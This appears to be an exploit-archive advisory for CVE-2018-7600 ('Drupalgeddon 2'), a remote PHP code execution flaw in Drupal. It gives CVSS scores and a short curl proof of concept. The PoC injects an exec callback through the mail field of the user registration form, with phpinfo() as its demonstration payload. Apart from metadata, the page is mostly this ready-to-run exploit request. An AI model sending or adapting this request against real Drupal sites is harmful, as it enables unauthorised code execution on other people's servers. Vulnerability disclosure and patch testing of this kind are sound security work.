Drupal 0day Remote PHP Code Execution (curl)

2018.04.13

Credit: i_bo0om

Risk: High

Local: No

Remote: Yes

CVE: CVE-2018-7600

CWE: CWE-20

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

PoC:
curl -X POST --data \
'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=phpinfo()' \
'https://localhost/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'

References:

https://twitter.com/i_bo0om

https://research.checkpoint.com/uncovering-drupalgeddon-2/

See this note in RAW Version

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Drupal 0day Remote PHP Code Execution (curl)

References:

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